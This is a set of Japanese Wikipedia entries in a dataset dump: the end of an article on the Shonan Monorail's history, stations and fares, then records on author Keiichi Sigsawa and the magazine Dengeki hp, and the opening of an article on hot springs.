* [[2010年]](平成22年)[[2月26日]] - 休車になっていた2008年2月の事故車両の5000系第2編成が同じく冒進事故対策を施され試運転に入り、その後3月23日より運用に復帰。休車期間は2年と長期に亘った。これにより5000系は3編成の体制となった。
* [[2013年]](平成25年)[[12月15日]] - 湘南モノレールのマスコットキャラクター「[[しょもたん]]」が車体にデザインされた「しょもたん号」の運行開始。
* [[2014年]](平成26年)[[4月14日]] - 黄帯(イエローライン)の5000系車両第4編成が運行開始。
* [[2016年]](平成28年)
** [[6月1日]] - 23年ぶりにダイヤ改正を実施<ref name="改正2016"/><ref>{{Cite news |title=湘南モノレール、23年ぶりダイヤ改正…夜間中心に増発 |newspaper=[[Response.]] |date=2016-5-20 |url=http://response.jp/article/2016/05/20/275499.html |accessdate=2016-6-5 |publisher=株式会社イード }}</ref>。
** 6月26日 - 500形車両運用終了<ref>{{Cite web|和書|url=http://www3.nhk.or.jp/news/html/20160626/k10010572521000.html |title=湘南モノレール 500形車両がラストラン |accessdate=2022-04-12 |website=NHK NEWSWEB |archiveurl=https://web.archive.org/web/20160626100557/http://www3.nhk.or.jp/news/html/20160626/k10010572521000.html |deadlinkdate=2022-04 |archivedate=2016-06-26 |date=2016-06-26}}</ref><ref>{{Cite news |和書|title=コンコース |newspaper=[[交通新聞]] |publisher=交通新聞社 |date=2016-06-24 |page=3 }}</ref>。
* [[2018年]](平成30年)[[File:Shonan Monorail in sistership with Wuppertaler Schwebebahn.jpg|thumb|ドイツ・[[ヴッパータール空中鉄道]]との姉妹関係を車体横に表示]]
** 4月1日 - [[ICカード]]「[[PASMO]]」を導入<ref name="PASMO" />。同時に[[交通系ICカード全国相互利用サービス]]への対応により、[[Suica]]、[[Kitaca]]、[[manaca]]、[[TOICA]]、[[ICOCA]]、[[PiTaPa]]、[[nimoca]]、[[はやかけん]]、[[SUGOCA]]が利用可能となる<ref name="PASMO">{{Cite press release|和書|url=https://www.shonan-monorail.co.jp/news/upload/6e89ccf670b822069f4089a4a3df5e6396c7c7fd.pdf|archiveurl=https://web.archive.org/web/20200607042603/https://www.shonan-monorail.co.jp/news/upload/6e89ccf670b822069f4089a4a3df5e6396c7c7fd.pdf|format=PDF|language=日本語|title=交通系ICカード「PASMO」導入について 〜本年4月1日(日)始発よりサービス開始〜|publisher=湘南モノレール|date=2018-02-05|accessdate=2021-02-04|archivedate=2020-06-07}}</ref>。
** [[9月13日]] - ドイツ西部の都市[[ヴッパータール]]にある[[ヴッパータール空中鉄道]]と初の「姉妹懸垂式モノレール協定書」を締結<ref>{{Cite press release|和書|title=日本・ドイツ モノレール事業者間初の姉妹提携! 9月13日(木)ドイツのヴッパータール空中鉄道と姉妹懸垂式モノレール協定を締結いたします。 |url=https://www.shonan-monorail.co.jp/news/upload/660ad8e5406cb7936a8b2cca19aaead88d2fc7e5.pdf |publisher=湘南モノレール |accessdate=2023-08-03 |date=2018-08-28}}</ref><ref>{{Cite web|和書|url=https://www.shonan-monorail.co.jp/news/2018/09/post-163.html |title=9月13日(木)ヴッパータール空中鉄道との姉妹懸垂式モノレール協定締結と記念ラッピング車両運行開始 |access-date=2023-08-03 |publisher=湘南モノレール |date=2018-09-13}}</ref>。
** [[12月1日]] - 旧来の駅舎に増改築を施した湘南江の島駅の新駅舎が竣工<ref>{{Cite web|和書|title=12月1日(土)バリアフリー化された湘南江の島駅全館の供用を開始いたします。 |url=https://www.shonan-monorail.co.jp/news/2018/11/no.html |publisher=湘南モノレール |accessdate=2022-04-12 |date=2018-11-30}}</ref>。[[絵本作家]]の[[久村香織]]によるイラストがベースとなる第2次サインシステムの運用が開始。
=== 延伸計画 ===
湘南江の島駅よりさらに南下して江ノ島電鉄を跨ぎ、[[江の島]]あるいは[[茅ヶ崎市|茅ヶ崎]]まで延伸する構想が当初存在したが、諸々の事情により頓挫したとされる<ref>{{Cite web|和書|url=https://hamarepo.com/story.php?page_no=0&story_id=6404&from= | title=湘南モノレールとドリームランド線はどこまで延伸する計画だった? 湘南モノレール編 | publisher=[[はまれぽ]] | date=2017-11-07 | accessdate=2020-02-25 }}</ref>。<!-- 参考リンクの文中にある『江ノ電―懐かしの電車名鑑』(JTBキャンブックス)は未確認。過去の鉄道雑誌でも読んだ記憶あり -->
== 駅一覧 ==
* 全駅[[神奈川県]]内に所在。
* [[列車交換]] … ◇:交換可能、|:交換不可
{| class="wikitable" rules="all"
|-style="border-bottom:solid 3px red;"
!駅番号
!style="width:7em;"|駅名
!style="width:2.5em;"|駅間キロ
!style="width:2.5em;"|営業キロ
!接続路線
!style="width:1em; line-height:1em;"|{{縦書き|列車交換|height=4.5em}}
!style="width:4em;"|所在地
|-
!SMR1
|[[大船駅]]
|style="text-align:center;"| -
|style="text-align:right;"|0.0
|[[東日本旅客鉄道]]:[[ファイル:JR_JT_line_symbol.svg|15px|JT]] [[東海道線 (JR東日本)|東海道線]]([[上野東京ライン]]) (JT 07)・[[ファイル:JR_JO_line_symbol.svg|15px|JO]] [[横須賀・総武快速線|横須賀線]] (JO 09)・[[ファイル:JR_JS_line_symbol.svg|15px|JS]] [[湘南新宿ライン]] (JS 09)・[[ファイル:JR_JK_line_symbol.svg|15px|JK]] [[根岸線]] (JK 01)
||
|rowspan="6"|[[鎌倉市]]
|-
!SMR2
|[[富士見町駅 (神奈川県)|富士見町駅]]
|style="text-align:right;"|0.9
|style="text-align:right;"|0.9
|
|◇
|-
!SMR3
|[[湘南町屋駅]]
|style="text-align:right;"|1.1
|style="text-align:right;"|2.0
|
||
|-
!SMR4
|[[湘南深沢駅]]
|style="text-align:right;"|0.6
|style="text-align:right;"|2.6
|
|◇
|-
!SMR5
|[[西鎌倉駅]]
|style="text-align:right;"|2.1
|style="text-align:right;"|4.7
|
|◇
|-
!SMR6
|[[片瀬山駅]]
|style="text-align:right;"|0.8
|style="text-align:right;"|5.5
|
||
|-
!SMR7
|[[目白山下駅]]
|style="text-align:right;"|0.7
|style="text-align:right;"|6.2
|
|◇
|rowspan="2"|[[藤沢市]]
|-
!SMR8
|[[湘南江の島駅]]
|style="text-align:right;"|0.4
|style="text-align:right;"|6.6
|
||
|}
== 運賃 ==
大人普通旅客運賃(小児半額・10円未満切り上げ)。2019年10月1日改定<ref>[http://www.shonan-monorail.co.jp/news/upload/2670e31fb744e766a866c17cfada8f18b5615d91.pdf 鉄道運賃の認可および改定について] - 湘南モノレール、2019年9月10日(2019年10月6日閲覧)</ref>。
{| class="wikitable" style="text-align:center;"
|-
!キロ程!!運賃(円)
|-
|初乗り1 - 2km||180
|-
|3||220
|-
|4||250
|-
|5||270
|-
|6||290
|-
|7||320
|}
== 乗車券 ==
[[普通乗車券]]、[[定期乗車券]]、[[回数乗車券]]のほかに企画乗車券として「湘南モノレール1日フリーきっぷ」が発売されているほか、過去には『世界のモノレールシリーズ』を初めとする各種記念乗車券も数多く発売されていたことがある。[[補充券#特殊区間用特別補充券|パンチ式車内補充券]]を現在でも車掌が発行している。
かつて、JR東日本線連絡乗車券を湘南江の島駅券売機限定で発売していた。連絡定期券はJR東日本線連絡のみで、取り扱い区間など詳細は駅や窓口に表示されず、3社連絡定期券は扱わない。
カード乗車券は、2018年4月1日始発より[[PASMO]]が導入された<ref name="PASMO"/>。
券売機や改札機で使用できる[[プリペイドカード]]は当初から導入されず[[パスネット]]も不参加であった。[[ICカード]]乗車券は2007年2月に導入検討中と発表され、同年5月に[[Suica]]を主導するJR東日本と協議に入るとの報道発表<ref>2007年5月19日付け毎日新聞神奈川版記事による</ref>があり、導入時期は公式発表されていないが当時[[県議会議員]]の[[松尾崇]]が出した要望書に、2012年度にPASMOを導入する方向で準備中<ref>[http://www.matsuonet.com/archive/mtn_cgi/diary/200809.html 2008年9月24日]並びに[http://www.matsuonet.com/archive/mtn_cgi/diary/200811.html 2008年11月12日]付け[http://www.matsuonet.com/archive/index.html 松尾たかし政治日記]による記載内容から。</ref>と回答していた。2011年6月に[[地域新聞]]編集部の質問へ狭隘駅舎で自動改札設置が困難で、新規ソフト導入等の課題もあり今の所難しい。と回答<ref name="jcp-kamakura1169">[http://www.yoshioka-kazue.jp/archives/1169 高齢者割引乗車制度の改善を!] - [[日本共産党]]鎌倉市議会議員・吉岡和江ブログ…2011年7月14日付け掲載記事</ref>していた。直接的投資効果が薄いICカードシステムへ大手鉄道事業者同等の資金優先が困難な点に、交通政策の一環として他都市でバス事業者等へ実施済みのICカード導入補助金制度等を検討する市議会議員もいた<ref name="jcp-kamakura1169" />。
かつては、小規模事業者ながらコスト競争が無い新造車両の更新や法定の移動円滑化対象駅が多く各駅の大規模改修などが重複到来し、安全運行維持やバリアフリーなど安全設備が優先されるため近隣事業者より大幅に遅延していたが、既設自動改札機や券売機などは既対応機種で今後の更新計画も対応前提であり、ICカードシステムの将来導入は鋭意検討中<ref name="hamarepo">{{Cite web|和書|date=2012-05-05|url=http://hamarepo.com/story.php?story_id=1032|title=湘南モノレールでsuicaやPASMOが使えないのはどうして?|work=はまれぽ.com|publisher=株式会社アイ・ティ・エー|accessdate=2013-05-07}}</ref>としていた。
== 広告ソング ==
; 「[[シルバーアロー号湘南へ]]」ザ・ウォータージェットメン
: [[2005年]]に[[コミュニティ放送|コミュニティFM放送局]]「[[藤沢エフエム放送]]」の番組への社長出演がきっかけとなり、ホスト役の[[シンガーソングライター]]により当路線のPRソングが制作された。翌[[2006年]]には地元ミニコミ誌によりPRソングが収納されたCD付きの小冊子<ref>[http://www.lib.city.fujisawa.kanagawa.jp/clis/detail?NUM=003830632&CTG=1&RTN=01&SID=002962786 湘南物語 臨時増刊-空中散歩 Enjoy湘南モノレール 大船 - 湘南江の島小さな旅-] — [http://www.lib.city.fujisawa.kanagawa.jp/ 藤沢市立図書館]所蔵情報より。</ref>が発行された。
== 登場するメディア作品 ==
近隣を走る[[江ノ島電鉄線]]ほどではないものの、[[景勝地]]・湘南を通ることから度々[[テレビドラマ]]や[[映画]]、書籍などの作品に当路線が登場することがある。ここではその一部を取り上げる。
* [[おれは男だ!]]([[日本テレビ放送網|日本テレビ]]、[[1971年]]。第23話の中で、開業間もない頃の300形が2両編成で登場する)
* [[俺たちの勲章]](日本テレビ、[[1975年]]。合計2話の中で開業間もない当路線が随所に登場する)
* [[湘南爆走族]]([[1987年]]。実写映画の作品中に登場)
* [[海岸物語 昔みたいに…]]([[TBSテレビ|TBS]]、[[1988年]]。沿線のパン店が舞台であり、随所に登場する)
* [[老人Z]]([[1991年]]。[[アニメーション映画|アニメ映画]]の作品中に登場する)
* [[ぶらり途中下車の旅]](日本テレビ、[[1993年]]秋に1回だけ取り上げられた)
* [[さわやか3組]]([[NHK教育テレビジョン|NHK教育テレビ]]、2000年度作品。沿線の[[鎌倉市立深沢小学校]]が舞台であり度々登場する)
* [[学校 (映画)#十五才 学校IV|十五才 学校Ⅳ]]([[2000年]]。[[山田洋次]][[映画監督|監督作品]]で、[[松竹大船撮影所]]撮影の最終作品でもある。ラストシーンに登場する)
* [[鎌倉ものがたり]](作者:[[西岸良平]]。舞台柄、よく登場する)
* [[美鳥の日々]](アニメ版に登場したモノレールのモデルとなった)
* [[特急田中3号]](TBS、[[2007年]]。[[ヒロイン]]が嵌める本線オリジナル[[腕時計]]がキーアイテムとされているなど随所に登場する。なお、この腕時計はドラマに登場すると続々と売れて、現在完売となっている)
* [[ネットゴーストPIPOPA]](テレビ東京、[[2008年]]。第33話で登場。設定が近未来であるため全線で無人運転が実施されている。そのほか、車内の側天井部に[[デジタルサイネージ]]が設置され、車両は500形が登場する。舞台は架空の上舞市であるがモデルは江の島近辺である)
* [[青い花 (漫画)]](フジテレビ、[[2009年]]。アニメ第3話Aパートに登場。舞台は鎌倉近辺である)
* [[IS 〈インフィニット・ストラトス〉]](TBS、アニメ版の作中に登場)
* [[TARI TARI]](アニメ版 車両自体は描かれないが、湘南江の島駅のホームや駅周辺が舞台として描かれたことがある)
* [[無彩限のファントム・ワールド]]([[日本BS放送|BS11]]・[[朝日放送テレビ|ABC]]ほかアニメ版。駅名は改変されているが湘南江の島駅、西鎌倉駅のホームや駅周辺、車内が描かれている)
* [[プラチナエイジ]]([[東海テレビ放送|東海テレビ]]、[[2015年]])
* [[Just Because!]]([[テレビ神奈川|tvk]]ほか、2017年。湘南深沢駅周辺を主とし、ほぼ全線にわたって描写されている)
=== 音楽 ===
* 「[[シルバーアロー号湘南へ]]」[[ザ・ウォータージェットメン]]
* 「湘南モノレール」T42
* 「うつろいゆく街で」[[空気公団]](湘南モノレールをテーマにして作られている。PVにも湘南モノレールが使われている)
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist| group="注釈"}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
* 村岡智勝 著『湘南モノレール 設営の記録』(1971年11月出版;湘南モノレール株式会社)
* 湘南モノレール労働組合編集委員会 編『湘南モノレール労組25年のあゆみ』(2001年10月出版;湘南モノレール労働組合)
== 関連項目 ==
* [[日本の鉄道路線一覧]]
* [[モノレールの一覧]]
== 外部リンク ==
{{Commons|Category:Shōnan Monorail}}
* [https://www.shonan-monorail.co.jp/ 江の島への近道 湘南モノレール株式会社]
{{日本のモノレール}}
{{DEFAULTSORT:しようなんものれーるえのしません}}
[[Category:関東地方の鉄道路線|えのしません]]
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6,769 | 時雨沢恵一 | 時雨沢 恵一(しぐさわ けいいち、1972年 - )は、日本の男性ライトノベル作家である。神奈川県出身。魚座のA型。2000年に第6回電撃ゲーム小説大賞で最終候補作に残った『キノの旅』が「電撃hp」に掲載され、作家デビュー。その後電撃文庫でシリーズ化され人気を集めた。
もともと小説家には憧れていたが夢のような話だと思っていたので、投稿などはせずに大学を卒業した。その後、就職活動を1年間するが全く成果がなく、金銭面などからむしゃくしゃしていたところ、たまたまライトノベル作品の募集記事を見つけ(電撃文庫の『ブギーポップは笑わない』にも触発されたこともあり)、10年以上前から考えていた『キノの旅』の原型となる短編を執筆、これをいくつか連ねて長編として投稿する。
この作品が編集の目にとまりデビューした。当初は別の仕事もなく、生活も苦しかったので一人部屋にこもりっきりで1巻で描けなかったエピソードを執筆してはすぐ編集に送っていた。それから3か月後に続編の刊行が決まり、人気が出たのでそのままシリーズ化する。
バイク好き・ガンマニア・軍事マニア。アメリカ留学経験もあり、拳銃(SIG SAUER P226)を実際に所有していた。また、カラオケで歌うのはアニメソング中心というほどのアニメや漫画、ゲーム好きで、本人曰く、「最も長い趣味」。
ペンネームの由来は『時雨沢』が銃器ブランドのSIG SAUER(シグザウエル、シグザウアー)を英語風に発音した「シグサゥアー」からとったものであり(英語版の表記は“Sigsawa”となっている)、『恵一』は『キノの旅』の応募原稿を執筆中にエルメスの参考に使用していた『ああっ女神さまっ』の主人公とその妹の名前から取ったものである。
本人曰く、「"〆切"なんてこの世からなくなってしまえば良い」と思っている。
デビュー作や雑誌に掲載する短編では現代社会を風刺するかのような寓話的な作品を多く発表する一方、少年と少女の飛行機物語といった古典的な冒険ものも得意とする。時雨沢曰く、「読者層は小学生から高校生辺りが主であるため、難しい表現はなるべく避けている」という。
著書のあとがきや作者近影に毎回何らかの凝った仕掛けをすることでも有名で、サイン会のときに1番多く言われたことが「あとがき頑張ってください」であった。『撲殺天使ドクロちゃん』の第4巻のあとがき、『バッカーノ! 1933<下> THE SLASH 〜チノアメハ、ハレ〜』の「なかがき」に参加している。著者近影は"物や動物"(90式戦車等)であったが、『リリアとトレイズ』の第V巻や第VI巻、『学園キノ』第3巻では時雨沢本人の写った写真が掲載された。アニメ脚本を担当した『ソードアート・オンライン オルタナティブ ガンゲイル・オンライン』第5.5話においても、あとがきと称した短編パートを設けている。
執筆した作品について、3部作形式(もしくは「3の倍数」)で括るというこだわりを持っている。
この他、『学園キノ』では、銃火器類を実名で登場させてその説明にページを割いたり、他作品のパロディを入れたり、誤植から生まれた「雨沢恵一」(本人曰くツンデレ美少女)をあとがきに登場させたりしている。さらに、『キノの旅』の第XI巻ではあとがきの細工に加え、ページ数を割きたいという意図から電撃文庫6ページ相当の長い固有名詞を書き連ねたこともある。
これらのことから、時雨沢は「後書き作家」とも呼ばれている。
また、自身の作品の銃器が出てくるシーンのイラストでは、自身が実弾入りの拳銃を暴発させてしまった経験から、発砲するシーンを除いて引き金に手をかけた絵を描かないように要望・指導している(これは自身の作品のアニメでも同じ)。
更に、「キノの旅」XVIIでは、正規カバーの裏にもう一つのカバーをつける、といったことも行っている。
2014年、TVアニメ『ソードアート・オンラインII』にて銃器監修を担当。2018年には『ルパン三世 PART5』にて初のアニメ脚本を担当する。アニメの脚本・監修では銃器や照準器、ライフルケースなどについて脚本段階で指示を細かく書き込み、銃器監修以外にアクションシーンの絵コンテや音響の監修も務めることがある。また、時雨沢自身が持っているモデルガンなどを資料としてアニメスタッフに提供している。 | [
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| 時雨沢 恵一は、日本の男性ライトノベル作家である。神奈川県出身。魚座のA型。2000年に第6回電撃ゲーム小説大賞で最終候補作に残った『キノの旅』が「電撃hp」に掲載され、作家デビュー。その後電撃文庫でシリーズ化され人気を集めた。 | {{Infobox 作家
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| pseudonym= 時雨沢 恵一
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'''時雨沢 恵一'''(しぐさわ けいいち、[[1972年]]{{R|このラノ2006}} - )は、[[日本]]の[[男性]][[ライトノベル]]作家である。[[神奈川県]]出身。魚座のA型。[[2000年]]に第6回[[電撃ゲーム小説大賞]]で最終候補作に残った『[[キノの旅]]』が「[[電撃hp]]」に掲載され、作家デビュー。その後[[電撃文庫]]でシリーズ化され人気を集めた。
== 経歴 ==
もともと小説家には憧れていたが夢のような話だと思っていたので、投稿などはせずに大学を卒業した。その後、就職活動を1年間するが全く成果がなく、金銭面などからむしゃくしゃしていたところ、たまたまライトノベル作品の募集記事を見つけ(電撃文庫の『[[ブギーポップシリーズ|ブギーポップは笑わない]]』にも触発されたこともあり)、10年以上前から考えていた『キノの旅』の原型となる短編を執筆、これをいくつか連ねて長編として投稿する。
この作品が編集の目にとまりデビューした。当初は別の仕事もなく、生活も苦しかったので一人部屋にこもりっきりで1巻で描けなかったエピソードを執筆してはすぐ編集に送っていた。それから3か月後に続編の刊行が決まり、人気が出たのでそのままシリーズ化する。
バイク好き・ガンマニア・軍事マニア。アメリカ留学経験もあり、拳銃([[SIG SAUER P226]])を実際に所有していた。また、カラオケで歌うのはアニメソング中心<ref> 『学園キノ2』294ページ "あとがき"(2007年7月25日発行) </ref>というほどのアニメや漫画、ゲーム好きで、本人曰く、「最も長い趣味」<ref> 『学園キノ2』280ページ "あとがき"(2010年7月10日発行) </ref>。
ペンネームの由来は『時雨沢』が銃器ブランドの[[シグ|SIG SAUER]](シグザウエル、シグザウアー)を英語風に発音した「シグサゥアー」からとったものであり(英語版の表記は“Sigsawa”となっている)<ref name="Kino13_239">『[[キノの旅]]XIII』時雨沢恵一、[[アスキー・メディアワークス]]、p.239</ref>、『恵一』は『キノの旅』の応募原稿を執筆中にエルメスの参考に使用していた『[[ああっ女神さまっ]]』の主人公とその妹の名前から取ったものである<ref>本人のTwitterアカウント[https://twitter.com/sigsawa/status/105686238207553536 2011年8月23日 2:02 AM]より</ref>。
本人曰く、「"〆切"なんてこの世からなくなってしまえば良い」と思っている。
== 作風 ==
デビュー作や雑誌に掲載する短編では現代社会を風刺するかのような寓話的な作品を多く発表する一方、少年と少女の飛行機物語といった古典的な冒険ものも得意とする。時雨沢曰く、「読者層は小学生から高校生辺りが主であるため、難しい表現はなるべく避けている」という。
著書のあとがきや作者近影に毎回何らかの凝った仕掛けをすることでも有名で<ref>樋渡隆浩 「あとがき」『ライトノベル研究序説』 [[青弓社]]、2009年、201・203頁。{{ISBN2|978-4-7872-9188-2}}。</ref>、サイン会のときに1番多く言われたことが「あとがき頑張ってください」であった。『[[撲殺天使ドクロちゃん]]』の第4巻のあとがき、『[[バッカーノ!|バッカーノ! 1933<下> THE SLASH 〜チノアメハ、ハレ〜]]』の「なかがき」に参加している。著者近影は"物や動物"([[90式戦車]]等)であったが、『リリアとトレイズ』の第V巻や第VI巻、『学園キノ』第3巻では時雨沢本人の写った写真が掲載された。アニメ脚本を担当した『[[ソードアート・オンライン オルタナティブ ガンゲイル・オンライン]]』第5.5話においても、あとがきと称した短編パートを設けている。
執筆した作品について、[[三部作|3部作]]形式(もしくは「3の倍数」)で括るというこだわりを持っている。
この他、『[[キノの旅|学園キノ]]』では、銃火器類を実名で登場させてその説明にページを割いたり、他作品のパロディを入れたり、[[誤植]]から生まれた「雨沢恵一」(本人曰くツンデレ美少女)をあとがきに登場させたりしている。さらに、『キノの旅』の第XI巻ではあとがきの細工に加え、ページ数を割きたいという意図から電撃文庫6ページ相当の長い固有名詞を書き連ねたこともある。
これらのことから、時雨沢は「後書き作家」とも呼ばれている。
また、自身の作品の銃器が出てくるシーンのイラストでは、自身が実弾入りの拳銃を暴発させてしまった経験から、発砲するシーンを除いて引き金に手をかけた絵を描かないように要望・指導している(これは自身の作品のアニメでも同じ)。
更に、「キノの旅」XVIIでは、正規カバーの裏にもう一つのカバーをつける、といったことも行っている。
2014年、TVアニメ『[[ソードアート・オンラインII]]』にて銃器監修を担当。2018年には『[[ルパン三世 PART5]]』にて初のアニメ脚本を担当する<ref>[https://twitter.com/sigsawa/status/1027848848994066432 Twitter 時雨沢恵一 2018年8月10日]</ref><ref>[https://twitter.com/sigsawa/status/1027223094090330112 Twitter 時雨沢恵一 2018年8月9日]</ref>。アニメの脚本・監修では銃器や照準器、ライフルケースなどについて脚本段階で指示を細かく書き込み、銃器監修以外にアクションシーンの絵コンテや音響の監修も務めることがある。また、時雨沢自身が持っているモデルガンなどを資料としてアニメスタッフに提供している<ref>[https://twitter.com/ichirou_o/status/1029762097956052992 Twitter 大河内 一楼 2018年8月16日]</ref><ref>[https://twitter.com/ichirou_o/status/1029762006365036544 Twitter 大河内 一楼 2018年8月16日]</ref>。
== 作品リスト ==
=== 小説 ===
* [[キノの旅]](2000年-、[[電撃文庫]]、既刊23巻)
** 学園キノ([[2006年]]-、電撃文庫、既刊7巻)
* [[一つの大陸の物語シリーズ]](電撃文庫)
** [[アリソン (小説)|アリソン]](2002-2004年、全4巻)
** [[リリアとトレイズ]]([[2005年]]-[[2007年]]、全6巻)
** [[メグとセロン]]([[2008年]]-[[2012年]]、全7巻)
** 一つの大陸の物語〜アリソンとヴィルとリリアとトレイズとメグとセロンとその他〜([[2013年]]、全2巻)
* [[撲殺天使ドクロちゃん#撲殺天使ドクロちゃんです|撲殺天使ドクロちゃんです]](2006年、電撃文庫)- 共著
* [[電撃コラボレーション#文庫化された企画|電撃コラボレーション]] まい・いまじね〜しょん(2008年、電撃文庫) - 共著
* 電撃コラボレーション MW号の悲劇(2008年、電撃文庫)- 共著
* [[角川つばさ文庫]]版 キノの旅(2011年、角川つばさ文庫)
* [[男子高校生で売れっ子ライトノベル作家をしているけれど、年下のクラスメイトで声優の女の子に首を絞められている。]](2014年、電撃文庫、全3巻)
* [[ソードアート・オンライン オルタナティブ ガンゲイル・オンライン]](2014年-、電撃文庫、既刊12巻)
* [[レイの世界 ―Re:I― Another World Tour]](2021年-、[[KADOKAWA]]、全3巻)
=== 短編 ===
* おはよう -Sena Saw Emiko. Sena Didn't See Emiko.-(文庫未収録([[電撃hp]] vol.13初出)、2012年、「BOOK☆WALKER」)
* 抹殺者(文庫未収録(電撃hp vol.25初出)、2012年、「BOOK☆WALKER」)
=== アンソロジー ===
* フラットタイヤとカップラーメン −Flat Tire and Cup Ramen-(『[[ゆるキャン△]]アンソロジーコミック 第2巻』、2022年、[[芳文社]]〈まんがタイムKRコミックス フォワードシリーズ〉)
* SAO 〜ifピトフーイが、SAO事件に巻き込まれていたら〜(『[[ソードアート・オンライン|ソードアート・オンライン IF 公式小説アンソロジー]]』、2023年、KADOKAWA〈電撃文庫〉)
=== 小説系絵本 ===
* お茶が運ばれてくるまでに〜A Book At Cafe〜(2010年、[[メディアワークス文庫]])
* 夜が運ばれてくるまでに〜A Book in a Bed〜(2010年、メディアワークス文庫)
* 答えが運ばれてくるまでに〜A Book without Answers〜(2011年、メディアワークス文庫)
=== ビジュアルノベル ===
* キノの旅 -the Beautiful World- -記憶の国 Their Memories(2003年)
* キノの旅 -the Beautiful World- -旅人の話 ―You―(2005年)
* キノの旅 -the Beautiful World- -わたしの国 ―own will―(2007年)
=== 脚本 ===
* [[ソードアート・オンライン オルタナティブ ガンゲイル・オンライン]](2018年、第5.5話担当)<!-- 2018-05-13 -->
* [[ルパン三世 PART5]](2018年、第19話担当)<!--2018-08-15-->
== 出演 ==
=== テレビアニメ ===
* [[ソードアート・オンライン オルタナティブ ガンゲイル・オンライン]](2018年、銃が出てくる作品ばかり書いている小説家)<!-- 2018-04-22 -->
=== その他 ===
* [[N高等学校]]・電撃×エンタメ授業講師(2016年 - )<ref>{{Cite web|和書|url=https://nnn.ed.jp/about/attractive/subject/entertainment.html|title=電撃×エンタメ授業|accessdate=2017年11月12日|date=|publisher=N高等学校(通信制高校 広域・単位制)}}</ref>
== 関連項目 ==
* [[黒星紅白]] - 共著のものを除き、これまで単行本として刊行された全ての作品のイラストを担当している。
* [[ソードアート・オンライン (アニメ)]] - 第2期にて銃器監修を担当している。
== 脚注 ==
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== 外部リンク ==
* {{Twitter|sigsawa|時雨沢恵一Keiichi Sigsawa}}
*{{TMDb person|id=2821419|name=Keiichi Shigusawa}}
{{時雨沢恵一}}
{{Normdaten}}
{{DEFAULTSORT:しくさわ けいいち}}
[[Category:時雨沢恵一|*]]
[[Category:日本の小説家]]
[[Category:日本のライトノベル作家]]
[[Category:日本のファンタジー作家]]
[[Category:神奈川県出身の人物]]
[[Category:1972年生]]
[[Category:存命人物]] | 2003-04-15T12:28:11Z | 2023-12-18T02:01:01Z | false | false | false | [
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6,770 | 電撃hp | 電撃hp(でんげきエイチピー)とは1998年12月から2007年10月までメディアワークス(現:アスキー・メディアワークス)より発行されていたライトノベル中心の小説誌である。
1998年12月18日に創刊された。Volume.1から8までは季刊だったが、Volume.9以降は隔月刊となった。Volume.38から誌面がリニューアル。雑誌のように番号が付けられ定期的に発売されていたが実際にはISBNがつき、Cコードで単行本に分類される書籍扱いであった。またバックナンバーも通常の本と同じように流通し、買うことが出来る。定価は945円及び720円(税込)。これは号によってページ数がまちまちな為である。
なお増刊号の電撃hp SPECIAL(年2回刊)は、月刊コミック電撃大王増刊として発行される雑誌扱いであったためバックナンバーの入手は困難。
電撃文庫で活躍している作家が中心となって執筆していた。また、電撃hp短編小説賞の母体雑誌でもあった。
非常にページ量が多い構成を活かし、しばしば特殊な作品について発売する前にほぼ1巻分まるまる掲載するという試みを行っていて、この試みから時雨沢恵一『キノの旅』などの作品が書籍化に至っている。
2007年10月10日発売のVolume.50の誌面で「電撃hp」としての発行を終えることが発表され(事実上の休刊)、編集体制は同年12月10日発売の新雑誌「電撃文庫MAGAZINE」に継承された。 | [
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| 電撃hp(でんげきエイチピー)とは1998年12月から2007年10月までメディアワークスより発行されていたライトノベル中心の小説誌である。 | '''電撃hp'''(でんげきエイチピー)とは[[1998年]]12月から[[2007年]]10月まで[[メディアワークス]](現:[[アスキー・メディアワークス]])より発行されていた[[ライトノベル]]中心の[[小説]]誌である。
== 概要 ==
1998年[[12月18日]]に創刊された。Volume.1から8までは[[季刊]]だったが、Volume.9以降は[[隔月刊]]となった。Volume.38から誌面がリニューアル。雑誌のように番号が付けられ定期的に発売されていたが実際には[[ISBN]]がつき、[[Cコード]]で単行本に分類される[[本|書籍]]扱いであった。またバックナンバーも通常の本と同じように流通し、買うことが出来る。定価は945円及び720円(税込)。これは号によってページ数がまちまちな為である。
なお増刊号の電撃hp SPECIAL(年2回刊)は、[[月刊コミック電撃大王]]増刊として発行される[[雑誌]]扱いであったためバックナンバーの入手は困難。
[[電撃文庫]]で活躍している[[作家]]が中心となって執筆していた。また、[[電撃hp短編小説賞]]の母体雑誌でもあった。
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2007年[[10月10日]]発売のVolume.50の誌面で「電撃hp」としての発行を終えることが発表され(事実上の[[休刊]])、編集体制は同年[[12月10日]]発売の新雑誌「[[電撃文庫MAGAZINE]]」に継承された。
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 関連項目 ==
* [[電撃コラボレーション]] - 電撃hpの人気企画。
* [[電撃hp公式海賊本]] - [[2003年]]の『電撃ヴんこ』から毎年1~2冊刊行されている没作品や番外編を収録した公式海賊本。
== 外部リンク ==
* [http://dengekibunko.dengeki.com/index.php 電撃文庫&電撃文庫MAGAZINE(旧・電撃文庫&hp)]
{{メディアワークス}}
{{DEFAULTSORT:てんけきえいちひい}}
[[Category:電撃hp|*]]
[[Category:日本の文芸雑誌 (休廃刊)]]
[[Category:1998年創刊の雑誌]]
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6,771 | 温泉 | 温泉(おんせん)は、地中から湯(熱水泉)が湧き出している現象や場所、湯そのものを示す用語である。その熱水泉を用いた入浴施設やそれらが集まった地域(温泉街、温泉郷)も一般に温泉と呼ばれる。人工温泉と対比して「天然温泉」と称する場合もある。
熱源で分類すると、火山の地下のマグマを熱源とする火山性温泉と、火山とは無関係に地熱などにより地下水が加温される非火山性温泉に分けられる。含まれる成分により、様々な色、におい、効能の温泉がある。
広義の温泉(法的に定義される温泉):日本の温泉法の定義では、必ずしも水の温度が高くなくても、普通の水とは異なる天然の特殊な水(鉱水)やガスが湧出する場合に温泉とされる(後節の「温泉の定義」を参照)。温泉が本物か否かといわれるのは、温泉法の定義にあてはまる「法的な温泉」であるのかどうかを議論する場合が一般的である(イメージに合う合わないの議論でも用いられる場合がある)。
湧出している熱水泉を、温かく感じるか冷たく感じるかは、個人差や環境に左右される面があり、世界各地ではその国の一年の平均気温を基準として、「温泉」とするかどうかの温度が定められている。日本では温泉法によって25度となっている。他国では、南アフリカでは25度、アメリカ合衆国では華氏70度(摂氏21.1度に相当)、イギリス・フランス・ドイツでは20度が基準である。
